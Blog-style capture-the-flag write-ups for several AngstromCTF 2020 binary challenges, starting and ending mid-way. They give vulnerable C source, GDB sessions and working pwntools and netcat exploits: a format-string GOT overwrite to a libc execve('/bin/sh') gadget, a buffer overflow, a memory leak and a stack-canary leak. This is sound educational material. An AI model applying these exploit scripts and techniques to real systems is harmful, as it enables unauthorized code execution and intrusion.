      0x7ffff7dd7000     0x7ffff7dfd000    0x26000        0x0 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ff4000     0x7ffff7ff7000     0x3000        0x0 
      0x7ffff7ff7000     0x7ffff7ffa000     0x3000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x25000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x26000 /lib/x86_64-linux-gnu/ld-2.23.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) x __libc_start_main
0x7ffff7a2d740 <__libc_start_main>:	0x55415641
(gdb) x/i puts
0x4005f0 <puts@plt>:	jmp    QWORD PTR [rip+0x200a22]        # 0x601018

Let’s use python to calculate the offset.

root@b1a0c5b0df97 /pwn# python
Python 2.7.16 (default, Dec 13 2019, 18:00:32) 
[GCC 4.2.1 Compatible Apple LLVM 11.0.0 (clang-1100.0.32.4) (-macos10.15-objc-s on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> libc_start_main = 0x7ffff7a2d740
>>> libc_base = 0x7ffff7a0d000
>>> libc_start_main - libc_base
132928

Great! The offset seems to be 132928. Through some trial and error, we can find that %27$p will give us the <__libc_start_main+240> address.

(gdb) r
Starting program: /pwn/library_in_c 
Welcome to the LIBrary in C!
What is your name?
%25$p %26$p %27$p %28$p %29$p %30$p
Why hello there 0xabb2f3a2c9026f00 0x400890 0x7ffff7a2d830 0x1 0x7fffffffe748 0x1f7ffcca0

Now we have all necessary information to write a python script that leaks the base address of libc. I will use pwntools since it is easy to use and works very well.

from pwn import *

r = remote('shell.actf.co', 20201)

# format string to leak <__libc_start_main+240>
r.sendline(';%27$p;')

# __libc_start_main address
libc_start_main = int(r.recvuntil('check out?').split(';')[1], 16) - 240

# libc base address
libc_base = libc_start_main - 133168

print(hex(libc_base))

All that is left to do now is to overwrite the address of puts, which we found above to be stored at 0x601018. To do this, we can use the format string modifier %n which will write the total number of bytes printed to the argument. It works well to use this along with %Nx, because this modifier will print a hex word padded to size N. In order to do this more effieiently, I split up the address into three two-byte sections, so it wouldn’t be necassary to print millions of bytes for the format string. This is achieved through bit masking. The “h” before the “n” in %hn will operate on halfwords (two bytes) instead of full words (four bytes). Through trial and error you will find that the three addresses after byte 40 in the payload can be accessed with %21$p, %22$p, and %23$p. Changing the “p”s to “n”s will allow us to write to these addresses.

root@b1a0c5b0df97 /pwn# one_gadget libc.so.6 
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

Whenever I was writing this script during the CTF I got stuck for a long time trying to write the address of libc system into the puts pointer. This would be a fine idea, but system expects a command string to be pushed onto the stack before execution (preferably “/bin/sh”). With the payload below, I could not figure out how to make this happen, until I tried the one gadget gem which helps to find one gadget RCE. Running the gem on the libc.so.6 file gives the output seen above, and the second gadget is found to work in this case (through some trial and error). The objdump tool would have also worked for this, but one_gadget makes the job much easier.

from pwn import *

r = remote('shell.actf.co', 20201)

# format string to leak <__libc_start_main+240>
r.sendline(';%27$p;')

# __libc_start_main address
libc_start_main = int(r.recvuntil('check out?').split(';')[1], 16) - 240

# libc base address
libc_base = libc_start_main - 132928

# location of pointer to <puts@plt>
puts = 0x601018

# execve("/bin/sh") gadget location
system = libc_base + 0x4526a

# split into three halfword sections of system gadget address
# only three necessary because address usually starts with 0x0000...
p1 = (system & 0xffff)
p2 = (system & 0xffff0000) >> 16
p3 = (system & 0xffff00000000) >> 32

ps = {p1: '21', p2: '22', p3: '23'}

# write the halfword sections to the sections of the puts pointer

sm = sorted(ps)[0]
pl = "%{}x".format(sm)
pl += "%{}$hn".format(ps[sm])

md = sorted(ps)[1]
pl += "%{}x".format(md - sm)
pl += "%{}$hn".format(ps[md])

lg = sorted(ps)[2]
pl += "%{}x".format(lg - md)
pl += "%{}$hn".format(ps[lg])

# keep stack aligned 
pl += "A" * (40 - len(pl))

pl += p64(puts + 0) # 21$
pl += p64(puts + 2) # 22$
pl += p64(puts + 4) # 23$

# send the payload
r.sendline(pl)

r.interactive()

Running this script gives us an interactive prompt.

root@b1a0c5b0df97 /pwn# python exploit.py 
[+] Opening connection to shell.actf.co on port 20201: Done
[*] Switching to interactive mode
$ id
uid=11969(problem2020_library_in_c) gid=11969(problem2020_library_in_c) groups=11969(problem2020_library_in_c)
$ cat flag.txt
actf{us1ng_c_15_n3v3r_4_g00d_1d34}

Using cat on the flag file gives us actf{us1ng_c_15_n3v3r_4_g00d_1d34}, which can be submitted on the site for 120 points!

AngstromCTF 2020 - Bop It

2022-03-02

Bop It was the third challenge in the Binary section of AngstromCTF. Although the bug was fairly simple, the challenge only accumulated 162 solves. The challenge supplies us with an executable and some source code (below).

#include <stdlib.h>
#include <time.h>
#include <stdio.h>
#include <string.h>

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);

	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	const char *actions[] = {"Bop it!\n", "Twist it!\n", "Pull it!\n", "Flag it!\n"};

	srand(time(NULL));

	char c;
	char *action = actions[rand()%4];
	write(1, action, strlen(action));
	while ((c = getchar()) != EOF) {
		if (!strcmp(action, actions[3])) {
			char guess[256];
			guess[0] = c;
			int guessLen = read(0, guess+1, 255)+1; //add to already entered char
			guess[guessLen-1] = 0; //remove newline
			char flag[32];
			FILE *f = fopen("flag.txt", "rb");
			int r = fread(flag, 1, 32, f);
			flag[r] = 0; //null terminate
			if (strncmp(guess, flag, strlen(flag))) {
				char wrong[strlen(guess)+35];
				wrong[0] = 0; //string is empty intially
				strncat(wrong, guess, guessLen);
				strncat(wrong, " was wrong. Better luck next time!\n", 35);
				write(1, wrong, guessLen+35);
				exit(0);
			}
		} else if (c != action[0]) {
			char wrong[64] = "_ was wrong. What you wanted was _!\n";
			wrong[0] = c; //user inputted char
			wrong[strlen(wrong)-3] = action[0]; //correct char
			write(1, wrong, strlen(wrong));
			getchar(); //so there's no leftover newline
			exit(0);
		} else { getchar(); }
		action = actions[rand()%4];
		write(1, action, strlen(action));
	}
}

Upon first glance the code looks somewhat complicated. After some trial and error though, it is clear that there is a bug in the write call when action is “Flag It!”. The variable wrong is initialized with a size of strlen(guess)+35, and is written to stdout. The problem is that the strlen function stops at null bytes, but the guessLen variable will not (it is set from the read function). Whenever guessLen+35 is larger than the wrong variable to be written, write will continue to give data after the end of the wrong buffer, and memory will be leaked. Seeing that the flag has been opened whenever the vulnerable write is called reassures us that we are on the right track.

Since the exploit is simple I used inline python. You can see that it takes a few times before hitting the “Flag It!” action, but once we do memory is leaked.

root@9903d51849b1 /pwn# python -c 'print "\x00" + "A" * 200' | nc shell.actf.co 20702
Twist it!
root@9903d51849b1 /pwn# python -c 'print "\x00" + "A" * 200' | nc shell.actf.co 20702
Flag it!
 was wrong. Better luck next time!
?GXU?GXU"?GXUactf{bopp1ty_bop_bOp_b0p}?"?AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA~      root@9903d51849b1 /pwn# 

In this string we can see actf{bopp1ty_bop_bOp_b0p} which is the flag to the challenge!

AngstromCTF 2020 - No Canary

2022-03-02

No Canary was the first challenge in the Binary category from AngstromCTF 2020. The challenge provided a 64-bit executable and some source code (below). Viewing the source, it is apparent that a 20 character buffer is initialized, and the vulnerable function gets allows us to supply input into that buffer. Since gets doesn’t limit how many characters we write into the buffer, we can write more than 20, resulting in a buffer overflow.

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void flag() {
	system("/bin/cat flag.txt");
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	gid_t gid = getegid();
	setresgid(gid, gid, gid);

	puts("Ahhhh, what a beautiful morning on the farm!\n");
	puts("       _.-^-._    .--.");
	puts("    .-'   _   '-. |__|");
	puts("   /     |_|     \\|  |");
	puts("  /               \\  |");
	puts(" /|     _____     |\\ |");
	puts("  |    |==|==|    |  |");
	puts("  |    |--|--|    |  |");
	puts("  |    |==|==|    |  |");
	puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
	puts("Wait, what? It's already noon!");
	puts("Why didn't my canary wake me up?");
	puts("Well, sorry if I kept you waiting.");
	printf("What's your name? ");

	char name[20];
	gets(name);

	printf("Nice to meet you, %s!\n", name);
}

Since the source features a “flag” function it’s safe to assume that the goal is to overwrite the return pointer of main to point to this function. I started off by running the challenge in my ctf docker. As expected, writing more than 20 characters into the buffer resulted in a segmentation fault.

root@9dc002f9142e /pwn# chmod +x no_canary
root@9dc002f9142e /pwn# ./no_canary 
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB
Nice to meet you, AAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBB!
fish: './no_canary' terminated by signal SIGSEGV (Address boundary error)
root@9dc002f9142e /pwn# 

To figure out how to exploit this, I launched GDB to find the offset of the buffer and the return pointer which we want to overwrite.

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000401199 <+0>:	push   rbp
   0x000000000040119a <+1>:	mov    rbp,rsp
   0x000000000040119d <+4>:	sub    rsp,0x20
   0x00000000004011a1 <+8>:	mov    rax,QWORD PTR [rip+0x2ec8]        # 0x404070 <stdin@@GLIBC_2.2.5>
   0x00000000004011a8 <+15>:	mov    ecx,0x0
   0x00000000004011ad <+20>:	mov    edx,0x2
   0x00000000004011b2 <+25>:	mov    esi,0x0
   0x00000000004011b7 <+30>:	mov    rdi,rax
   0x00000000004011ba <+33>:	call   0x401090 <setvbuf@plt>
   0x00000000004011bf <+38>:	mov    rax,QWORD PTR [rip+0x2e9a]        # 0x404060 <stdout@@GLIBC_2.2.5>
   0x00000000004011c6 <+45>:	mov    ecx,0x0
   0x00000000004011cb <+50>:	mov    edx,0x2
   0x00000000004011d0 <+55>:	mov    esi,0x0
   0x00000000004011d5 <+60>:	mov    rdi,rax
   0x00000000004011d8 <+63>:	call   0x401090 <setvbuf@plt>
   0x00000000004011dd <+68>:	mov    eax,0x0
   0x00000000004011e2 <+73>:	call   0x401080 <getegid@plt>
   0x00000000004011e7 <+78>:	mov    DWORD PTR [rbp-0x4],eax
   0x00000000004011ea <+81>:	mov    edx,DWORD PTR [rbp-0x4]
   0x00000000004011ed <+84>:	mov    ecx,DWORD PTR [rbp-0x4]
   0x00000000004011f0 <+87>:	mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004011f3 <+90>:	mov    esi,ecx
   0x00000000004011f5 <+92>:	mov    edi,eax
   0x00000000004011f7 <+94>:	mov    eax,0x0
   0x00000000004011fc <+99>:	call   0x401040 <setresgid@plt>
   0x0000000000401201 <+104>:	lea    rdi,[rip+0xe18]        # 0x402020
   0x0000000000401208 <+111>:	call   0x401030 <puts@plt>
   0x000000000040120d <+116>:	lea    rdi,[rip+0xe3a]        # 0x40204e
   0x0000000000401214 <+123>:	call   0x401030 <puts@plt>
   0x0000000000401219 <+128>:	lea    rdi,[rip+0xe45]        # 0x402065
   0x0000000000401220 <+135>:	call   0x401030 <puts@plt>
   0x0000000000401225 <+140>:	lea    rdi,[rip+0xe50]        # 0x40207c
   0x000000000040122c <+147>:	call   0x401030 <puts@plt>
   0x0000000000401231 <+152>:	lea    rdi,[rip+0xe5b]        # 0x402093
   0x0000000000401238 <+159>:	call   0x401030 <puts@plt>
   0x000000000040123d <+164>:	lea    rdi,[rip+0xe66]        # 0x4020aa
   0x0000000000401244 <+171>:	call   0x401030 <puts@plt>
   0x0000000000401249 <+176>:	lea    rdi,[rip+0xe71]        # 0x4020c1
   0x0000000000401250 <+183>:	call   0x401030 <puts@plt>
   0x0000000000401255 <+188>:	lea    rdi,[rip+0xe7c]        # 0x4020d8
   0x000000000040125c <+195>:	call   0x401030 <puts@plt>
   0x0000000000401261 <+200>:	lea    rdi,[rip+0xe59]        # 0x4020c1
   0x0000000000401268 <+207>:	call   0x401030 <puts@plt>
   0x000000000040126d <+212>:	lea    rdi,[rip+0xe7b]        # 0x4020ef
   0x0000000000401274 <+219>:	call   0x401030 <puts@plt>
   0x0000000000401279 <+224>:	lea    rdi,[rip+0xe90]        # 0x402110
   0x0000000000401280 <+231>:	call   0x401030 <puts@plt>
   0x0000000000401285 <+236>:	lea    rdi,[rip+0xea4]        # 0x402130
   0x000000000040128c <+243>:	call   0x401030 <puts@plt>
   0x0000000000401291 <+248>:	lea    rdi,[rip+0xec0]        # 0x402158
   0x0000000000401298 <+255>:	call   0x401030 <puts@plt>
   0x000000000040129d <+260>:	lea    rdi,[rip+0xed7]        # 0x40217b
   0x00000000004012a4 <+267>:	mov    eax,0x0
   0x00000000004012a9 <+272>:	call   0x401060 <printf@plt>
   0x00000000004012ae <+277>:	lea    rax,[rbp-0x20]
   0x00000000004012b2 <+281>:	mov    rdi,rax
   0x00000000004012b5 <+284>:	mov    eax,0x0
   0x00000000004012ba <+289>:	call   0x401070 <gets@plt>
   0x00000000004012bf <+294>:	lea    rax,[rbp-0x20]
   0x00000000004012c3 <+298>:	mov    rsi,rax
   0x00000000004012c6 <+301>:	lea    rdi,[rip+0xec1]        # 0x40218e
   0x00000000004012cd <+308>:	mov    eax,0x0
   0x00000000004012d2 <+313>:	call   0x401060 <printf@plt>
   0x00000000004012d7 <+318>:	mov    eax,0x0
   0x00000000004012dc <+323>:	leave  
   0x00000000004012dd <+324>:	ret    
End of assembler dump.

(gdb) b *0x00000000004012bf
Breakpoint 1 at 0x4012bf
(gdb) b *0x00000000004012dd
Breakpoint 2 at 0x4012dd

(gdb) r
Starting program: /pwn/no_canary 
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? AAAABBBB

Breakpoint 1, 0x00000000004012bf in main ()

(gdb) x/4xg $rsp
0x7fffffffe640:	0x4242424241414141	0x0000000000401000
0x7fffffffe650:	0x00007fffffffe740	0x0000000000000000
(gdb) c
Continuing.
Nice to meet you, AAAABBBB!

Breakpoint 2, 0x00000000004012dd in main ()
(gdb) x/4xg $rsp
0x7fffffffe668:	0x00007ffff7a2d830	0x0000000000000001
0x7fffffffe678:	0x00007fffffffe748	0x00000001f7ffcca0
(gdb) x flag
0x401186 <flag>:	0xe5894855
(gdb) q

Examining the stack pointer after the gets call showes us that the buffer starts at the address 0x7fffffffe640. We also find the return pointer at 0x7fffffffe668 and the flag function at 0x401186. Finally, we can used python to subtract the buffer address from the return pointer address. This will tell us how many characters we need to write to reach the return pointer.

Python 2.7.12 (default, Oct  8 2019, 14:14:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fffffffe668 - 0x7fffffffe640
40

Since we know the address of the flag function and the offset we need to write to get to the return pointer (40), we are ready to write an exploit to try on the challenge server (shell.actf.co on port 20700). I used inline python for this, but pwntools would have worked just as well. As a side note, make sure to always put your addresses in little endian as I did below.

root@9dc002f9142e /pwn# python -c "print 'A' * 40 + '\x86\x11\x40\x00\x00\x00\x00\x00'" | nc shell.actf.co 20700
Ahhhh, what a beautiful morning on the farm!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Wait, what? It's already noon!
Why didn't my canary wake me up?
Well, sorry if I kept you waiting.
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?@!
actf{that_gosh_darn_canary_got_me_pwned!}
Segmentation fault

This gives actf{that_gosh_darn_canary_got_me_pwned!}, which is the flag to the challenge!

AngstromCTF 2020 - Canary

2022-03-02

Canary was the second challenge in the Binary category from AngstromCTF 2020, and was very similar to the first challenge which was called no canary. The challenge provided an executable and some source code (below).

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

void flag() {
	system("/bin/cat flag.txt");
}

void wake() {
	puts("Cock-a-doodle-doo! Cock-a-doodle-doo!\n");
	puts("        .-\"-.");
	puts("       / 4 4 \\");
	puts("       \\_ v _/");
	puts("       //   \\\\");
	puts("      ((     ))");
	puts("=======\"\"===\"\"=======");
	puts("         |||");
	puts("         '|'\n");
	puts("Ahhhh, what a beautiful morning on the farm!");
	puts("And my canary woke me up at 5 AM on the dot!\n");
	puts("       _.-^-._    .--.");
	puts("    .-'   _   '-. |__|");
	puts("   /     |_|     \\|  |");
	puts("  /               \\  |");
	puts(" /|     _____     |\\ |");
	puts("  |    |==|==|    |  |");
	puts("  |    |--|--|    |  |");
	puts("  |    |==|==|    |  |");
	puts("^^^^^^^^^^^^^^^^^^^^^^^^\n");
}

void greet() {
	printf("Hi! What's your name? ");
	char name[20];
	gets(name);
	printf("Nice to meet you, ");
	printf(strcat(name, "!\n"));
	printf("Anything else you want to tell me? ");
	char info[50];
	gets(info);
}

int main() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	gid_t gid = getegid();
	setresgid(gid, gid, gid);
	wake();
	greet();
}

Like the previous challenge, there is a flag function, and calls to the vulnerable gets function. Running checksec on the binary though reveals an extra hurdle that we will need to surmount - a stack canary.

root@9903d51849b1 /pwn# checksec ./canary
[*] '/pwn/canary'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

If you’re not familiar with a stack canary, it is just a basic buffer overflow mitigation. At the beginning of the function, a randomized address called the stack cookie will be placed onto the stack before the return pointer, and will be checked at the end of the function. If the value of the stack cookie changed since the beginning of the function than the return instruction will never be called, and overwriting the return pointer is useless. You can read some more about stack canaries here.

Since the vulnerable gets calls are in the greet function, we will start out analysis there. Launching the executable in GDB we can see the gets calls and the comparison with the stack cookie.

(gdb) disas greet
Dump of assembler code for function greet:
   0x0000000000400891 <+0>:	push   rbp
   0x0000000000400892 <+1>:	mov    rbp,rsp
   0x0000000000400895 <+4>:	sub    rsp,0x60
   0x0000000000400899 <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004008a2 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004008a6 <+21>:	xor    eax,eax
   0x00000000004008a8 <+23>:	lea    rdi,[rip+0x382]        # 0x400c31
   0x00000000004008af <+30>:	mov    eax,0x0
   0x00000000004008b4 <+35>:	call   0x400660 <printf@plt>
   0x00000000004008b9 <+40>:	lea    rax,[rbp-0x60]
   0x00000000004008bd <+44>:	mov    rdi,rax
   0x00000000004008c0 <+47>:	mov    eax,0x0
   0x00000000004008c5 <+52>:	call   0x400670 <gets@plt>
   0x00000000004008ca <+57>:	lea    rdi,[rip+0x377]        # 0x400c48
   0x00000000004008d1 <+64>:	mov    eax,0x0
   0x00000000004008d6 <+69>:	call   0x400660 <printf@plt>
   0x00000000004008db <+74>:	lea    rax,[rbp-0x60]
   0x00000000004008df <+78>:	mov    rcx,0xffffffffffffffff
   0x00000000004008e6 <+85>:	mov    rdx,rax
   0x00000000004008e9 <+88>:	mov    eax,0x0
   0x00000000004008ee <+93>:	mov    rdi,rdx
   0x00000000004008f1 <+96>:	repnz scas al,BYTE PTR es:[rdi]
   0x00000000004008f3 <+98>:	mov    rax,rcx
   0x00000000004008f6 <+101>:	not    rax
   0x00000000004008f9 <+104>:	lea    rdx,[rax-0x1]
   0x00000000004008fd <+108>:	lea    rax,[rbp-0x60]
   0x0000000000400901 <+112>:	add    rax,rdx
   0x0000000000400904 <+115>:	mov    WORD PTR [rax],0xa21
   0x0000000000400909 <+120>:	mov    BYTE PTR [rax+0x2],0x0
   0x000000000040090d <+124>:	lea    rax,[rbp-0x60]
   0x0000000000400911 <+128>:	mov    rdi,rax
   0x0000000000400914 <+131>:	mov    eax,0x0
   0x0000000000400919 <+136>:	call   0x400660 <printf@plt>
   0x000000000040091e <+141>:	lea    rdi,[rip+0x33b]        # 0x400c60
   0x0000000000400925 <+148>:	mov    eax,0x0
   0x000000000040092a <+153>:	call   0x400660 <printf@plt>
   0x000000000040092f <+158>:	lea    rax,[rbp-0x40]
   0x0000000000400933 <+162>:	mov    rdi,rax
   0x0000000000400936 <+165>:	mov    eax,0x0
   0x000000000040093b <+170>:	call   0x400670 <gets@plt>
   0x0000000000400940 <+175>:	nop
   0x0000000000400941 <+176>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400945 <+180>:	xor    rax,QWORD PTR fs:0x28
   0x000000000040094e <+189>:	je     0x400955 <greet+196>
   0x0000000000400950 <+191>:	call   0x400630 <__stack_chk_fail@plt>
   0x0000000000400955 <+196>:	leave  
   0x0000000000400956 <+197>:	ret    
End of assembler dump.
(gdb) 

At the begining of the function, at instruction greet+8 you can see an address being moved into the register rax. At the end of the function - at instruction greet+189 - you can see that the rax register is being compared to the same address from the begining of the function! If the two are equal - and have not been overwritten by an overflow or something else - the ret instruction is called. Otherwise, __stack_chk_fail is called and the function never returns.

This is confirmed by purposfully overwriting the stack cookie with lots of As (seen below). The string “*** stack smashing detected ***: ./canary terminated” indicates that __stack_chk_fail was called.

root@9903d51849b1 /pwn# python -c 'print "A" * 100' | ./canary 
Cock-a-doodle-doo! Cock-a-doodle-doo!

        .-"-.
       / 4 4 \
       \_ v _/
       //   \\
      ((     ))
=======""===""=======
         |||
         '|'

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Hi! What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Anything else you want to tell me? *** stack smashing detected ***: ./canary terminated
fish: Process 367, './canary' 'python -c 'print "A" * 100' |...' terminated by signal SIGABRT (Abort)
root@9903d51849b1 /pwn#

So how might we pass this check while still overwriting the return pointer? Bruteforcing could be an option, but since this is a 64-bit binary the stack cookie is a 64 bit address, which would not be very easy to bruteforce. Reexaminating the code though we can see that our input to gets is passed right into the first parameter of printf! This creates a format string vulnerability which allows us to leak values off of the stack. Since our string is passed to the first parameter to printf, we can include things like %x. This will cause values on the stack to be interpreted as other parameters of printf, and they will be printed out for us. Since the stack cookie is just a pointer on the stack, we can leak it with the first call to gets and printf, and can do our normal buffer overflow on the second call to gets (making sure to keep the leaked stack cookie in tact).

Now that we know what we have a plan, let’s hop into GDB to get started! With a little bit of poking around we can find that the stack cookie is stored at the address 0x7fffffffe648, or $rbp-0x8 (it is moved here in instruction greet+17).

(gdb) b *0x00000000004008a6
Breakpoint 1 at 0x4008a6
(gdb) r
(gdb) r
Starting program: /pwn/canary 
Cock-a-doodle-doo! Cock-a-doodle-doo!

        .-"-.
       / 4 4 \
       \_ v _/
       //   \\
      ((     ))
=======""===""=======
         |||
         '|'

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^


Breakpoint 1, 0x00000000004008a6 in greet ()
(gdb) x/xg $rbp-0x8
0x7fffffffe648:	0x72136546f7884d00
(gdb) x/20xg $rsp
0x7fffffffe5f0:	0x000000000000000a	0x0000000000400c17
0x7fffffffe600:	0x00007fffffffe750	0x00007ffff7a8781b
0x7fffffffe610:	0x0000000000000019	0x00007ffff7dd2620
0x7fffffffe620:	0x0000000000400c17	0x00007ffff7a7c7fa
0x7fffffffe630:	0x0000000000000000	0x00007fffffffe650
0x7fffffffe640:	0x00000000004006a0	0x72136546f7884d00
0x7fffffffe650:	0x00007fffffffe670	0x00000000004009c9
0x7fffffffe660:	0x00007fffffffe750	0x0000000000000000
0x7fffffffe670:	0x00000000004009d0	0x00007ffff7a2d830
0x7fffffffe680:	0x0000000000000001	0x00007fffffffe758

Next, we can set a breakpoint after the format string vulnerable printf, and leak some pointers off the stack to get an idea of where the stack cookie lies.

(gdb) b *0x0000000000400933
Breakpoint 1 at 0x400933
(gdb) r
Starting program: /pwn/canary 
Cock-a-doodle-doo! Cock-a-doodle-doo!

        .-"-.
       / 4 4 \
       \_ v _/
       //   \\
      ((     ))
=======""===""=======
         |||
         '|'

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Hi! What's your name? %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
Nice to meet you, 0x7fffffffbf60 0x69 0xffffffffffffff95 0x7ffff7fec700 0x12 0x7025207025207025 0x2520702520702520 
0xa2120 0x7025207025207025 0x2520702520702520 0x7025207025207025 0x7025207025207025 0x2520702520702520 
0x4009d0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0xa2120 
0x7fffffffe750 (nil) 0x4009d0 0x7ffff7a2d830 0x1 0x7fffffffe758 0x1f7ffcca0 0x400957 (nil) 0xae2858ef526f2176 
0x4006a0 0x7fffffffe750 (nil) (nil) 0x51d7a7908ccf2176 0x51d7b72aee1f2176 !
Anything else you want to tell me? 

Breakpoint 1, 0x0000000000400933 in greet ()

(gdb) x/xg $rbp-0x8
0x7fffffffe648:	0x2070252070252070
(gdb) 

Now that we know that the stack cookie lies in the 17th position we can leak it more efficiently with something like ;%17$p;. The 17 will reference what printf thinks to be the 17th parameter (but we know it is just the stack cookie). Keep in mind that the semi colons here are just arbitrary characters that will make it easier to grab the stack cookie in out exploit. Finally, we can use GDB to find the amount of characters we need to write to hit the return pointer.

(gdb) b *0x0000000000400940
Breakpoint 1 at 0x400940
(gdb) b *0x0000000000400956
Breakpoint 2 at 0x400956

(gdb) r
Starting program: /pwn/canary 
Cock-a-doodle-doo! Cock-a-doodle-doo!

        .-"-.
       / 4 4 \
       \_ v _/
       //   \\
      ((     ))
=======""===""=======
         |||
         '|'

Ahhhh, what a beautiful morning on the farm!
And my canary woke me up at 5 AM on the dot!

       _.-^-._    .--.
    .-'   _   '-. |__|
   /     |_|     \|  |
  /               \  |
 /|     _____     |\ |
  |    |==|==|    |  |
  |    |--|--|    |  |
  |    |==|==|    |  |
^^^^^^^^^^^^^^^^^^^^^^^^

Hi! What's your name? ;%17$p;
Nice to meet you, ;0x845f7fced767200;!
Anything else you want to tell me? AAAABBBBAAAABBBBAAAABBBB

Breakpoint 1, 0x0000000000400940 in greet ()

(gdb) x/20xg $rsp
0x7fffffffe5f0:	0x213b70243731253b	0x000000000040000a
0x7fffffffe600:	0x00007fffffffe750	0x00007ffff7a8781b
0x7fffffffe610:	0x4242424241414141	0x4242424241414141
0x7fffffffe620:	0x4242424241414141	0x00007ffff7a7c700
0x7fffffffe630:	0x0000000000000000	0x00007fffffffe650
0x7fffffffe640:	0x00000000004006a0	0x0845f7fced767200
0x7fffffffe650:	0x00007fffffffe670	0x00000000004009c9
0x7fffffffe660:	0x00007fffffffe750	0x0000000000000000
0x7fffffffe670:	0x00000000004009d0	0x00007ffff7a2d830
0x7fffffffe680:	0x0000000000000001	0x00007fffffffe758

(gdb) c
Continuing.

Breakpoint 2, 0x0000000000400956 in greet ()
(gdb) i r rsp
rsp            0x7fffffffe658	0x7fffffffe658
(gdb) x flag
0x400787 <flag>:	0xe5894855
(gdb)

Above you can see clearly that we start to write at address 0x7fffffffe610, and the return pointer is at 0x7fffffffe658. Also, the flag function is at 0xe5894855. As usual, I use python to do the subtraction and find the offset. I also find the number of characters we need to write before inserting the stack cookie.

Python 2.7.12 (default, Oct  8 2019, 14:14:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 0x7fffffffe658 - 0x7fffffffe610
72 # bytes before return pointer
>>> 0x7fffffffe648 - 0x7fffffffe610
56 # bytes before stack cookie

Now that we have all necessary information we can start to write an exploit. As you can see below, I used the pwntools library which made exploitation very easy.

#!/usr/bin/env python

from pwn import *

